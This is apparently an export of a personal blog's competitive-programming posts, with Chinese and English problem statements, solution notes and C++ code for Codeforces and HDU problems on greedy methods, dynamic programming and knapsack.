in a line in some order. The teacher suspects that students with adjacent numbers (i and i + 1) always studied side by side and became friends and if they take an exam sitting next to each other, they will help each other for sure.","tags":["构造"],"title":"codeforces 534 A. Exam","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/479/D 题意是说有一把尺子，本身有一些刻度，然后需要测量x和y，问最少需要添加多少个刻度，如果需要，这些刻度分别添加在什么位置。 一开始没有看清题目，以为答案最多为4，但是发现，a[1]=0 a[n]=l这两个是确定的，所以答案最多为2， 而不会出现中间有两个刻度，无论是往前刻还是往后都会越界的情况。 先去看看已知的刻度里有没有直接满足的。 除此之外，如果在已知的刻度下无法测量x也无法测量y，我们还可以找找是否能有公用点使得只刻一个刻度就可以满足题意。公用点分两种情况，一种是在两个刻度之间，另一种是在两个刻度的同侧。 前一种没什么坑，后一种要判断是否越界！！！ 如果在已知的刻度下能测量x或者能测量出y但不能同时测量的话，就没有必要找公用点。 还有就是查找的话如果线性找复杂度是O(n2)，会TLE在第27个点。 我们用二分… 话说STL里竟然连二分查找也有。。。。简直orz。。。。真是省时省力。 代码： 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月22日 星期一 23时42分46秒 6 File Name :code/cf/problem/479D.cpp 7 ************************************************ */ 8 9 #include \u003ciostream\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstring\u003e 12 #include \u003ccstdio\u003e 13 #include \u003ccmath\u003e 14 15 using namespace std; 16 17 int n,l,x,y; 18 const int N=1E5+7; 19 int a[N]; 20 int ans,p,q; 21 bool flag1,flag2,flag3,flag4; 22 23 int main() 24 { 25 scanf(\"%d %d %d %d\",\u0026n,\u0026l,\u0026x,\u0026y); 26 flag1 = false; 27 flag2 = false; 28 flag3 = false; 29 flag4 = false; 30 31 for ( int i = 1 ; i \u003c= n ; i++ ) 32 scanf(\"%d\",\u0026a[i]); 33 ans = 2; 34 p = -1; 35 q = 0; 36 for ( int i = 1 ; i \u003c= n ; i++ ) 37 { 38 if(binary_search(a,a+n+1,a[i]+x)) 39 { 40 flag1 = true; 41 42 } 43 if (binary_search(a,a+n+1,a[i]+y)) 44 { 45 flag2 = true; 46 } 47 if (binary_search(a,a+n+1,a[i]+x+y)) 48 { 49 flag3 = true; 50 p = a[i]; 51 } 52 if (binary_search(a,a+n+1,a[i]+y-x)\u0026\u0026((a[i]+y\u003c=l)||(a[i]-x\u003e=0))) 53 { 54 flag4 = true; 55 p = a[i]; 56 } 57 } 58 59 if ( flag1) {ans--;q = 1 ;} 60 if ( flag2 ){ ans--;q = 2 ;} 61 if ( ans==2\u0026\u0026(flag3||flag4)) 62 { 63 ans--; 64 } 65 cout\u003c\u003cans\u003c\u003cendl; 66 if ( ans==2 ) 67 { 68 cout\u003c\u003ca[1]+x\u003c\u003c\" \"\u003c\u003ca[1]+y\u003c\u003cendl; 69 } 70 if ( ans==1 ) 71 { 72 if ( p==-1 ) 73 { 74 if ( q==1 ) 75 cout\u003c\u003ca[1]+y\u003c\u003cendl; 76 else cout\u003c\u003ca[1]+x\u003c\u003cendl; ","date":"2015-04-08","externalUrl":null,"permalink":"/2015/04/cf479d/","section":"Posts","summary":"http://codeforces.com/problemset/problem/479/D 题意是说有一把尺子，本身有一些刻度，然后需要测量x和y，问最少需要添加多少个刻度，如果需要，这些刻度分别添加在什么位置。","tags":["binary search","greedy"],"title":"codeforces 479D. Long Jumps","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/525/B 1题意是说一个字符串，进行m次颠倒变换（从a[i]位置到a[l-i+1]位置），问得到的字符串。容易发现，对于越在里边（对称，也就是越靠近中间位置）的字符，调换的次数越多。我们可以把a[i]从小到大排序。然后经过分析发现，把两个相邻的a[i]分为一组，做处理，如果m为奇数，最后还剩下a[m]没有被分组，要单独处理a[m]细节上要注意st数组是从st[0]开始的...好吧的确不方便，适牛也说我了。。数组下标以后还是从0开始吧。。。主要是受高中OI用的pascal的影响。。。那个数组下标随便啊。代码： 2 3 4 5 6 /* *********************************************** 7 Author :111qqz 8 Created Time :2016年02月22日 星期一 23时39分51秒 9 File Name :code/cf/problem/525B.cpp 10 ************************************************ */ 11 12 #include \u003ciostream\u003e 13 #include \u003calgorithm\u003e 14 #include \u003ccstring\u003e 15 #include \u003ccmath\u003e 16 #include \u003ccstdio\u003e 17 18 using namespace std; 19 20 int m,k,len; 21 const int N=2E5+7; 22 int a[N]; 23 char st[N]; 24 25 int main() 26 { 27 cin\u003e\u003est; 28 scanf(\"%d\",\u0026m); 29 for ( int i = 1 ; i \u003c= m ; i++ ) 30 scanf(\"%d\",\u0026a[i]); 31 sort(a+1,a+m+1); 32 k = 1; 33 len = strlen(st); 34 while (k\u003c=m) 35 { 36 for ( int j = a[k] ; j \u003c= a[k+1]-1 ; j++) 37 swap(st[j-1],st[len-j]); 38 k = k + 2; 39 } 40 if ( m %2==1 ) 41 for ( int i = a[m]; i \u003c= len/2 ; i++ ) 42 swap(st[i-1],st[len-i]); 43 cout\u003c\u003cst\u003c\u003cendl; 44 return 0; 45 }","date":"2015-04-08","externalUrl":null,"permalink":"/2015/04/cf525b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/525/B 1题意是说一个字符串，进行m次颠倒变换（从a[i]位置到a[l-i+1]位置），问得到的字符串。容易发现，对于越在里边（对称，也就是越靠近中间位置）的字符，调换的次数越多。我们可以把a[i]从小到大排序。然后经过分析发现，把两个相邻的a[i]分为一组，做处理，如果m为奇数，最后还剩下a[m]没有被分组，要单独处理a[m]细节上要注意st数组是从st[0]开始的...好吧的确不方便，适牛也说我了。。数组下标以后还是从0开始吧。。。主要是受高中OI用的pascal的影响。。。那个数组下标随便啊。代码： 2 3 4 5 6 /* *********************************************** 7 Author :111qqz 8 Created Time :2016年02月22日 星期一 23时39分51秒 9 File Name :code/cf/problem/525B.cpp 10 ************************************************ */ 11 12 #include \u003ciostream\u003e 13 #include \u003calgorithm\u003e 14 #include \u003ccstring\u003e 15 #include \u003ccmath\u003e 16 #include \u003ccstdio\u003e 17 18 using namespace std; 19 20 int m,k,len; 21 const int N=2E5+7; 22 int a[N]; 23 char st[N]; 24 25 int main() 26 { 27 cin\u003e\u003est; 28 scanf(\"%d\",\u0026m); 29 for ( int i = 1 ; i \u003c= m ; i++ ) 30 scanf(\"%d\",\u0026a[i]); 31 sort(a+1,a+m+1); 32 k = 1; 33 len = strlen(st); 34 while (k\u003c=m) 35 { 36 for ( int j = a[k] ; j \u003c= a[k+1]-1 ; j++) 37 swap(st[j-1],st[len-j]); 38 k = k + 2; 39 } 40 if ( m %2==1 ) 41 for ( int i = a[m]; i \u003c= len/2 ; i++ ) 42 swap(st[i-1],st[len-i]); 43 cout\u003c\u003cst\u003c\u003cendl; 44 return 0; 45 }","tags":["greedy"],"title":"codeforces 525 B. Pasha and String","type":"post"},{"categories":["ACM"],"content":"C - C **Time Limit:**1000MS **Memory Limit:**262144KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Permutation_p_ is an ordered set of integers _p_1, p_2, …, p__n, consisting of n distinct positive integers not larger than n. We’ll denote as_n the length of permutation _p_1, _p_2, …, p__n. Your task is to find such permutation p of length n, that the group of numbers |_p_1 - _p_2|, |_p_2 - _p_3|, …, |p__n - 1 - p__n| has exactly k distinct elements. Input The single line of the input contains two space-separated positive integers n, k (1 ≤ k \u003c n ≤ 105). Output Print n integers forming the permutation. If there are multiple answers, print any of them. Sample Input Input 3 2 Output 1 3 2 Input 3 1 Output 1 2 3 Input 5 2 Output 1 3 2 4 5 Hint By |x| we denote the absolute value of number x. 题意是说找到找到一组n个由1..n组成的数列，且每个数字只出现一次 满足每相邻的两项的差的绝对值一共有k种。 找规律即可。不好描述，直接上代码吧。 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月22日 星期一 23时36分22秒 5 File Name :code/cf/problem/482A.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003calgorithm\u003e 10 #include \u003ccstring\u003e 11 #include \u003ccstdio\u003e 12 #include \u003ccmath\u003e 13 using namespace std; 14 int n,k; 15 int tmp,p; 16 const int N=1E5+7; 17 int a[N]; 18 19 int main() 20 { 21 22 scanf(\"%d %d\",\u0026n,\u0026k); 23 for ( int i = 1; i \u003c= n ; i++ ) 24 a[i] = i; 25 tmp = k; 26 p = 1; 27 for ( int i = 2 ; i \u003c= k+1 ; i++) 28 { 29 a[i] = a[i-1] + tmp*p; 30 tmp--; 31 p=p*-1; 32 } 33 for ( int i = 1 ; i \u003c n ; i++ ) 34 printf(\"%d \",a[i]); 35 printf(\"%d\",a[n]); 36 37 return 0; 38 }","date":"2015-04-08","externalUrl":null,"permalink":"/2015/04/cf482/","section":"Posts","summary":"C - C **Time Limit:**1000MS **Memory Limit:**262144KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Permutation_p_ is an ordered set of integers _p_1, p_2, …, p__n, consisting of n distinct positive integers not larger than n. We’ll denote as_n the length of permutation _p_1, _p_2, …, p__n.","tags":["greedy","构造"],"title":"codeforces 482 A. Diverse Permutation（构造）","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/479/C 1/************************************************ 2Author :111qqz 3Created Time :2016年02月22日 星期一 23时31分10秒 4File Name :code/cf/problem/479C.cpp 5************************************************ */ 6 7#include \u003ciostream\u003e 8#include \u003calgorithm\u003e 9#include \u003ccstring\u003e 10#include \u003ccstdio\u003e 11 12#include \u003ccmath\u003e 13 14using namespace std; 15int n,ans; 16const int N=1E4+5; 17int a[N],b[N]; 18 19struct Q 20{int a,b; 21}q[N]; 22 23bool cmp(Q x, Q y) 24{ 25 if ( x.a\u003cy.a) return true; 26 if ( x.a==y.a \u0026\u0026x.b\u003cy.b ) return true; 27 return false; 28} 29 30int main() 31{ 32 scanf(\"%d\",\u0026n); 33 for ( int i = 1 ; i \u003c= n ; i++ ) 34 scanf(\"%d %d\",\u0026q[i].a,\u0026q[i].b); 35 sort(q+1,q+n+1,cmp); 36 37 ans=q[1].b; 38 for ( int i = 2 ; i \u003c= n; i++ ) 39 { 40 if ( q[i].b\u003e=ans ) 41 ans = q[i].b; 42 else ans = q[i].a; 43 } 44 printf(\"%d\\n\",ans); 45 return 0; 46}","date":"2015-04-08","externalUrl":null,"permalink":"/2015/04/cf479c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/479/C 1/************************************************ 2Author :111qqz 3Created Time :2016年02月22日 星期一 23时31分10秒 4File Name :code/cf/problem/479C.cpp 5************************************************ */ 6 7#include \u003ciostream\u003e 8#include \u003calgorithm\u003e 9#include \u003ccstring\u003e 10#include \u003ccstdio\u003e 11 12#include \u003ccmath\u003e 13 14using namespace std; 15int n,ans; 16const int N=1E4+5; 17int a[N],b[N]; 18 19struct Q 20{int a,b; 21}q[N]; 22 23bool cmp(Q x, Q y) 24{ 25 if ( x.a\u003cy.a) return true; 26 if ( x.a==y.a \u0026\u0026x.b\u003cy.b ) return true; 27 return false; 28} 29 30int main() 31{ 32 scanf(\"%d\",\u0026n); 33 for ( int i = 1 ; i \u003c= n ; i++ ) 34 scanf(\"%d %d\",\u0026q[i].a,\u0026q[i].b); 35 sort(q+1,q+n+1,cmp); 36 37 ans=q[1].b; 38 for ( int i = 2 ; i \u003c= n; i++ ) 39 { 40 if ( q[i].b\u003e=ans ) 41 ans = q[i].b; 42 else ans = q[i].a; 43 } 44 printf(\"%d\\n\",ans); 45 return 0; 46}","tags":["greedy"],"title":"codeforces 47 C. Exams","type":"post"},{"categories":["ACM"],"content":"FatMouse’s Speed # Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 10172 Accepted Submission(s): 4521 Special Judge Problem Description FatMouse believes that the fatter a mouse is, the faster it runs. To disprove this, you want to take the data on a collection of mice and put as large a subset of this data as possible into a sequence so that the weights are increasing, but the speeds are decreasing. Input Input contains data for a bunch of mice, one mouse per line, terminated by end of file. The data for a particular mouse will consist of a pair of integers: the first representing its size in grams and the second representing its speed in centimeters per second. Both integers are between 1 and 10000. The data in each test case will contain information for at most 1000 mice. Two mice may have the same weight, the same speed, or even the same weight and speed. Output Your program should output a sequence of lines of data; the first line should contain a number n; the remaining n lines should each contain a single positive integer (each one representing a mouse). If these n integers are m[1], m[2],…, m[n] then it must be the case that W[m[1]] \u003c W[m[2]] \u003c … \u003c W[m[n]] and S[m[1]] \u003e S[m[2]] \u003e … \u003e S[m[n]] In order for the answer to be correct, n should be as large as possible. All inequalities are strict: weights must be strictly increasing, and speeds must be strictly decreasing. There may be many correct outputs for a given input, your program only needs to find one. Sample Input 6008 1300 6000 2100 500 2000 1000 4000 1100 3000 6000 2000 8000 1400 6000 1200 2000 1900 Sample Output 4 4 5 9 7 先排序，然后求一个最长上升子序列。 第一次做记录路径的题，比较无力。 调了很久，后来调到样例都不对整个人都无奈了。 可能也是调了太久的缘故，整个人比较烦躁，也忘记了题目中的那句\"如果有多组接那么任意输出一种\"，结果白白浪费了好久。sad 还是不要浮躁。 AC代码：","date":"2015-04-06","externalUrl":null,"permalink":"/2015/04/hdu1160/","section":"Posts","summary":"FatMouse’s Speed # Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 10172 Accepted Submission(s): 4521 Special Judge","tags":["dp","区间dp"],"title":"hdu 1160  FatMouse's Speed (最长上升子序列)","type":"post"},{"categories":["ACM"],"content":"Tickets # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 1408 Accepted Submission(s): 687 ** Problem Description Jesus, what a great movie! Thousands of people are rushing to the cinema. However, this is really a tuff time for Joe who sells the film tickets. He is wandering when could he go back home as early as possible. A good approach, reducing the total time of tickets selling, is let adjacent people buy tickets together. As the restriction of the Ticket Seller Machine, Joe can sell a single ticket or two adjacent tickets at a time. Since you are the great JESUS, you know exactly how much time needed for every person to buy a single ticket or two tickets for him/her. Could you so kind to tell poor Joe at what time could he go back home as early as possible? If so, I guess Joe would full of appreciation for your help. Input There are N(1\u003c=N\u003c=10) different scenarios, each scenario consists of 3 lines: An integer K(1\u003c=K\u003c=2000) representing the total number of people; K integer numbers(0s\u003c=Si\u003c=25s) representing the time consumed to buy a ticket for each person; (K-1) integer numbers(0s\u003c=Di\u003c=50s) representing the time needed for two adjacent people to buy two tickets together. Output For every scenario, please tell Joe at what time could he go back home as early as possible. Every day Joe started his work at 08:00:00 am. The format of time is HH:MM:SS am|pm. Sample Input 2 2 20 25 40 1 8 Sample Output 08:00:40 am 08:00:08 am dp 状态转移方程为dp[i]=min(dp[i-1]+a[i],dp[i-2]+b[i]) dp[i]为第i个人买完票所花的最少时间。a[i]和b[i]分别为单独买票和两个人一起买票的时间。 因为调试语句没删掉和错把B[I]的下表认为是从1开始（实际应从2开始） WA了两发 3A 1 2 3 #include \u003ciostream\u003e 4 #include \u003ccstdio\u003e 5 #include \u003calgorithm\u003e 6 #include \u003ccmath\u003e 7 #include \u003ccstring\u003e 8 using namespace std; 9 10 int n,k; 11 cons","date":"2015-04-06","externalUrl":null,"permalink":"/2015/04/hdu1260/","section":"Posts","summary":"Tickets # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 1408 Accepted Submission(s): 687 **","tags":["dp"],"title":"hdu 1260 tickets","type":"post"},{"categories":["ACM"],"content":"免费馅饼 # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 29065 Accepted Submission(s): 9921 ** Problem Description 都说天上不会掉馅饼，但有一天gameboy正走在回家的小径上，忽然天上掉下大把大把的馅饼。说来gameboy的人品实在是太好了，这馅饼别处都不掉，就掉落在他身旁的10米范围内。馅饼如果掉在了地上当然就不能吃了，所以gameboy马上卸下身上的背包去接。但由于小径两侧都不能站人，所以他只能在小径上接。由于gameboy平时老呆在房间里玩游戏，虽然在游戏中是个身手敏捷的高手，但在现实中运动神经特别迟钝，每秒种只有在移动不超过一米的范围内接住坠落的馅饼。现在给这条小径如图标上坐标： 为了使问题简化，假设在接下来的一段时间里，馅饼都掉落在0-10这11个位置。开始时gameboy站在5这个位置，因此在第一秒，他只能接到4,5,6这三个位置中其中一个位置上的馅饼。问gameboy最多可能接到多少个馅饼？（假设他的背包可以容纳无穷多个馅饼） Input 输入数据有多组。每组数据的第一行为以正整数n(0 Output 每一组输入数据对应一行输出。输出一个整数m，表示gameboy最多可能接到m个馅饼。 提示：本题的输入数据量比较大，建议用scanf读入，用cin可能会超时。 Sample Input 6 5 1 4 1 6 1 7 2 7 2 8 3 0 Sample Output 4 Author lwg 二维dp 状态转移方程也很容易想到 dp[i][j]表示在时间i，位置J的时候能得到的馅饼的个数。 dp[i][j]是由dp[i-1][j-1],dp[i-1][j],dp[i-1][j+1]得到。 注意边界和初始化。 因为一开始是在位置5 所以 dp[1][4]=a[1][4]; dp[1][5]=a[1][5]; dp[1][6]=a[1][6]; 但是取出最大的dp[i][j]的时候出了问题导致我一直WA，而且还没有想的很明白。。 AC代码： 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月22日 星期一 23时18分21秒 6 File Name :code/hdu/1176.cpp 7 ************************************************ */ 8 9 #include \u003ciostream\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstring\u003e 12 #include \u003ccstdio\u003e 13 #include \u003ccmath\u003e 14 15 using namespace std; 16 17 int n,t,x,maxtime; 18 long long ans; 19 const int N=1E5+7; 20 int a[N][15],dp[N][15]; 21 22 int MAX(int a,int b,int c) 23 { 24 int res = -1; 25 if ( a\u003eres ) 26 res = a; 27 if ( b\u003eres ) 28 res = b; 29 if ( c\u003eres ) 30 res = c; 31 return res; 32 } 33 34 int main() 35 { 36 while ( scanf(\"%d\",\u0026n)!=EOF\u0026\u0026n ) 37 { 38 ans = -1 ; 39 maxtime = -1; 40 memset(a,0,sizeof(a)); 41 memset(dp,0,sizeof(dp)); 42 for ( int i = 1 ; i \u003c= n ; i++ ) 43 { 44 scanf(\"%d %d\",\u0026x,\u0026t); 45 a[t][x]++; 46 if ( t\u003emaxtime ) 47 maxtime","date":"2015-04-05","externalUrl":null,"permalink":"/2015/04/hdu1176/","section":"Posts","summary":"免费馅饼 # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 29065 Accepted Submission(s): 9921 **","tags":["dp"],"title":"hdu 1176 免费馅饼(二维dp)","type":"post"},{"categories":["ACM"],"content":"F - Piggy-Bank **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Before ACM can do anything, a budget must be prepared and the necessary financial support obtained. The main income for this action comes from Irreversibly Bound Money (IBM). The idea behind is simple. Whenever some ACM member has any small money, he takes all the coins and throws them into a piggy-bank. You know that this process is irreversible, the coins cannot be removed without breaking the pig. After a sufficiently long time, there should be enough cash in the piggy-bank to pay everything that needs to be paid. But there is a big problem with piggy-banks. It is not possible to determine how much money is inside. So we might break the pig into pieces only to find out that there is not enough money. Clearly, we want to avoid this unpleasant situation. The only possibility is to weigh the piggy-bank and try to guess how many coins are inside. Assume that we are able to determine the weight of the pig exactly and that we know the weights of all coins of a given currency. Then there is some minimum amount of money in the piggy-bank that we can guarantee. Your task is to find out this worst case and determine the minimum amount of cash inside the piggy-bank. We need your help. No more prematurely broken pigs! Input The input consists of T test cases. The number of them (T) is given on the first line of the input file. Each test case begins with a line containing two integers E and F. They indicate the weight of an empty pig and of the pig filled with coins. Both weights are given in grams. No pig will weigh more than 10 kg, that means 1 \u003c= E \u003c= F \u003c= 10000. On the second line of each test case, there is an integer number N (1 \u003c= N \u003c= 500) that gives the n","date":"2015-04-05","externalUrl":null,"permalink":"/2015/04/hdu1114/","section":"Posts","summary":"F - Piggy-Bank **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Before ACM can do anything, a budget must be prepared and the necessary financial support obtained. The main income for this action comes from Irreversibly Bound Money (IBM). The idea behind is simple. Whenever some ACM member has any small money, he takes all the coins and throws them into a piggy-bank. You know that this process is irreversible, the coins cannot be removed without breaking the pig. After a sufficiently long time, there should be enough cash in the piggy-bank to pay everything that needs to be paid.","tags":["dp","区间dp","完全背包"],"title":"hdu 1114 - Piggy-Bank (完全背包)","type":"post"},{"categories":["ACM"],"content":"E - Super Jumping! Jumping! Jumping! **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Nowadays, a kind of chess game called “Super Jumping! Jumping! Jumping!” is very popular in HDU. Maybe you are a good boy, and know little about this game, so I introduce it to you now. The game can be played by two or more than two players. It consists of a chessboard（棋盘）and some chessmen（棋子）, and all chessmen are marked by a positive integer or “start” or “end”. The player starts from start-point and must jumps into end-point finally. In the course of jumping, the player will visit the chessmen in the path, but everyone must jumps from one chessman to another absolutely bigger (you can assume start-point is a minimum and end-point is a maximum.). And all players cannot go backwards. One jumping can go from a chessman to next, also can go across many chessmen, and even you can straightly get to end-point from start-point. Of course you get zero point in this situation. A player is a winner if and only if he can get a bigger score according to his jumping solution. Note that your score comes from the sum of value on the chessmen in you jumping path. Your task is to output the maximum value according to the given chessmen list. Input Input contains multiple test cases. Each test case is described in a line as follow: N value_1 value_2 …value_N It is guarantied that N is not more than 1000 and all value_i are in the range of 32-int. A test case starting with 0 terminates the input and this test case is not to be processed. Output For each case, print the maximum according to rules, and one line one case. Sample Input 3 1 3 2 4 1 2 3 4 4 3 3 2 1 0 Sample Output 4 10 3 最长上升子序列。 1 2 3 /* *********************************************** 4 ","date":"2015-04-05","externalUrl":null,"permalink":"/2015/04/hdu1087/","section":"Posts","summary":"E - Super Jumping! Jumping! Jumping! **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description Nowadays, a kind of chess game called “Super Jumping! Jumping! Jumping!” is very popular in HDU. Maybe you are a good boy, and know little about this game, so I introduce it to you now.","tags":["dp","区间dp"],"title":"hdu 1087  - Super Jumping! Jumping! Jumping! (最长上升子序列)","type":"post"},{"categories":["ACM"],"content":"C - Monkey and Banana **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description A group of researchers are designing an experiment to test the IQ of a monkey. They will hang a banana at the roof of a building, and at the mean time, provide the monkey with some blocks. If the monkey is clever enough, it shall be able to reach the banana by placing one block on the top another to build a tower and climb up to get its favorite food. The researchers have n types of blocks, and an unlimited supply of blocks of each type. Each type-i block was a rectangular solid with linear dimensions (xi, yi, zi). A block could be reoriented so that any two of its three dimensions determined the dimensions of the base and the other dimension was the height. They want to make sure that the tallest tower possible by stacking blocks can reach the roof. The problem is that, in building a tower, one block could only be placed on top of another block as long as the two base dimensions of the upper block were both strictly smaller than the corresponding base dimensions of the lower block because there has to be some space for the monkey to step on. This meant, for example, that blocks oriented to have equal-sized bases couldn’t be stacked. Your job is to write a program that determines the height of the tallest tower the monkey can build with a given set of blocks. Input The input file will contain one or more test cases. The first line of each test case contains an integer n, representing the number of different blocks in the following data set. The maximum value for n is 30. Each of the next n lines contains three integers representing the values xi, yi and zi. Input is terminated by a value of zero (0) for n. Output For each test case, print one line","date":"2015-04-05","externalUrl":null,"permalink":"/2015/04/hdu1069/","section":"Posts","summary":"C - Monkey and Banana **Time Limit:**1000MS **Memory Limit:**32768KB 64bit IO Format:%I64d \u0026 %I64u Submit Status Description A group of researchers are designing an experiment to test the IQ of a monkey. They will hang a banana at the roof of a building, and at the mean time, provide the monkey with some blocks. If the monkey is clever enough, it shall be able to reach the banana by placing one block on the top another to build a tower and climb up to get its favorite food.","tags":["dp","最长下降子序列"],"title":"hdu1069 Monkey and Banana (最长下降子序列)","type":"post"},{"categories":["ACM"],"content":"**Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 26534 Accepted Submission(s): 9332 ** Problem Description Nowadays, we all know that Computer College is the biggest department in HDU. But, maybe you don’t know that Computer College had ever been split into Computer College and Software College in 2002. The splitting is absolutely a big event in HDU! At the same time, it is a trouble thing too. All facilities must go halves. First, all facilities are assessed, and two facilities are thought to be same if they have the same value. It is assumed that there is N (0\u003cN\u003c1000) kinds of facilities (different value, different kinds). Input Input contains multiple test cases. Each test case starts with a number N (0 \u003c N \u003c= 50 – the total number of different facilities). The next N lines contain an integer V (0\u003cV\u003c=50 –value of facility) and an integer M (0\u003cM\u003c=100 –corresponding number of the facilities) each. You can assume that all V are different. A test case starting with a negative integer terminates input and this test case is not to be processed. Output For each case, print one line containing two integers A and B which denote the value of Computer College and Software College will get respectively. A and B should be as equal as possible. At the same time, you should guarantee that A is not less than B. Sample Input 2 10 1 20 1 3 10 1 20 2 30 1 -1 Sample Output 20 10 40 40 背包。 所有的设备不是放在第一部分，就是要放在第二部分。 那么对于第一部分，或者第二部分，每一个设备就只有放和不放两种情况。 然后感觉就是做一个容量为总数的一半的01背包 然后脑抽看到第一部分可以大于一半，觉得这么想是错的。。。 实际上并不是，因为第二部分总要比第一部分小，所以第二部分是不可能大于一半的。 所以我们对于第二部分做01背包。 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月22日 星期一 22时52分26秒 5 File Name :code/hdu/1171.cpp 6 ***********************************","date":"2015-04-04","externalUrl":null,"permalink":"/2015/04/hdu1171/","section":"Posts","summary":"**Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 26534 Accepted Submission(s): 9332 ** Problem Description Nowadays, we all know that Computer College is the biggest department in HDU. But, maybe you don’t know that Computer College had ever been split into Computer College and Software College in 2002. The splitting is absolutely a big event in HDU! At the same time, it is a trouble thing too. All facilities must go halves. First, all facilities are assessed, and two facilities are thought to be same if they have the same value. It is assumed that there is N (0\u003cN\u003c1000) kinds of facilities (different value, different kinds).","tags":["01背包","dp","母函数"],"title":"hdu 1171 Big Event in HDU （母函数，01背包）","type":"post"},{"categories":["ACM"],"content":"I NEED A OFFER! # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 18287 Accepted Submission(s): 7320 ** Problem Description Speakless很早就想出国，现在他已经考完了所有需要的考试，准备了所有要准备的材料，于是，便需要去申请学校了。要申请国外的任何大学，你都要交纳一定的申请费用，这可是很惊人的。Speakless没有多少钱，总共只攒了n万美元。他将在m个学校中选择若干的（当然要在他的经济承受范围内）。每个学校都有不同的申请费用a（万美元），并且Speakless估计了他得到这个学校offer的可能性b。不同学校之间是否得到offer不会互相影响。“I NEED A OFFER”，他大叫一声。帮帮这个可怜的人吧，帮助他计算一下，他可以收到至少一份offer的最大概率。（如果Speakless选择了多个学校，得到任意一个学校的offer都可以）。 Input 输入有若干组数据，每组数据的第一行有两个正整数n,m(0\u003c=n\u003c=10000,0\u003c=m\u003c=10000) 后面的m行，每行都有两个数据ai(整型),bi(实型)分别表示第i个学校的申请费用和可能拿到offer的概率。 输入的最后有两个0。 Output 每组数据都对应一个输出，表示Speakless可能得到至少一份offer的最大概率。用百分数表示，精确到小数点后一位。 Sample Input 10 3 4 0.1 4 0.2 5 0.3 0 0 Sample Output 44.0% Hint You should use printf(\"%%\") to print a ‘%’. 01背包 最开始WA在初始化，dp数组全都赋值为1，忘赋了dp[0]，导致如果恰好是花光所有钱得到答案的时候答案错误。 然后还一直WA。 后来发现是当N=0的时候，我直接取了所有A[I]=0对应的B[I]中最大的值。。。这显然是错的，少年你是脑抽吗。。。。。 然后修改了下，终于A掉了。。。。。 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月22日 星期一 22时50分40秒 5 File Name :code/hdu/1203.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003calgorithm\u003e 10 #include \u003ccstring\u003e 11 #include \u003ccstdio\u003e 12 #include \u003ccmath\u003e 13 14 using namespace std; 15 int n,m; 16 const int N = 1E4+5; 17 int a[N]; 18 double b[N],dp[N]; 19 double ans,mmax; 20 21 void solve(int cost,double value) 22 { 23 for ( int i = n ; i \u003e= cost ; i-- ) 24 dp[i] = min(dp[i],dp[i-cost]*value); 25 } 26 27 void init() 28 { 29 for ( int i = 0 ; i \u003cN ; i++ ) 30 dp[i]=1.0; 31 mmax=-1; 32 ans=1; 33 // memset(a,0,sizeof(a)); 34 // memset(b,0,sizeof(b)); 35 } 36 int main() 37 { 38 while (scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 39 { 40 init(); 41 if ( (n==0)\u0026\u0026(m==0) ) break; 42 for ( int i = 1 ; i \u003c= m ; i++ ) 4","date":"2015-04-04","externalUrl":null,"permalink":"/2015/04/hdu1203/","section":"Posts","summary":"I NEED A OFFER! # **Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 18287 Accepted Submission(s): 7320 **","tags":["01背包","dp"],"title":"hdu 1203 I NEED A OFFER! （01背包）","type":"post"},{"categories":["ACM"],"content":"饭卡 # **Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 14225 Accepted Submission(s): 4945 ** Problem Description 电子科大本部食堂的饭卡有一种很诡异的设计，即在购买之前判断余额。如果购买一个商品之前，卡上的剩余金额大于或等于5元，就一定可以购买成功（即使购买后卡上余额为负），否则无法购买（即使金额足够）。所以大家都希望尽量使卡上的余额最少。 某天，食堂中有n种菜出售，每种菜可购买一次。已知每种菜的价格以及卡上的余额，问最少可使卡上的余额为多少。 Input 多组数据。对于每组数据： 第一行为正整数n，表示菜的数量。n\u003c=1000。 第二行包括n个正整数，表示每种菜的价格。价格不超过50。 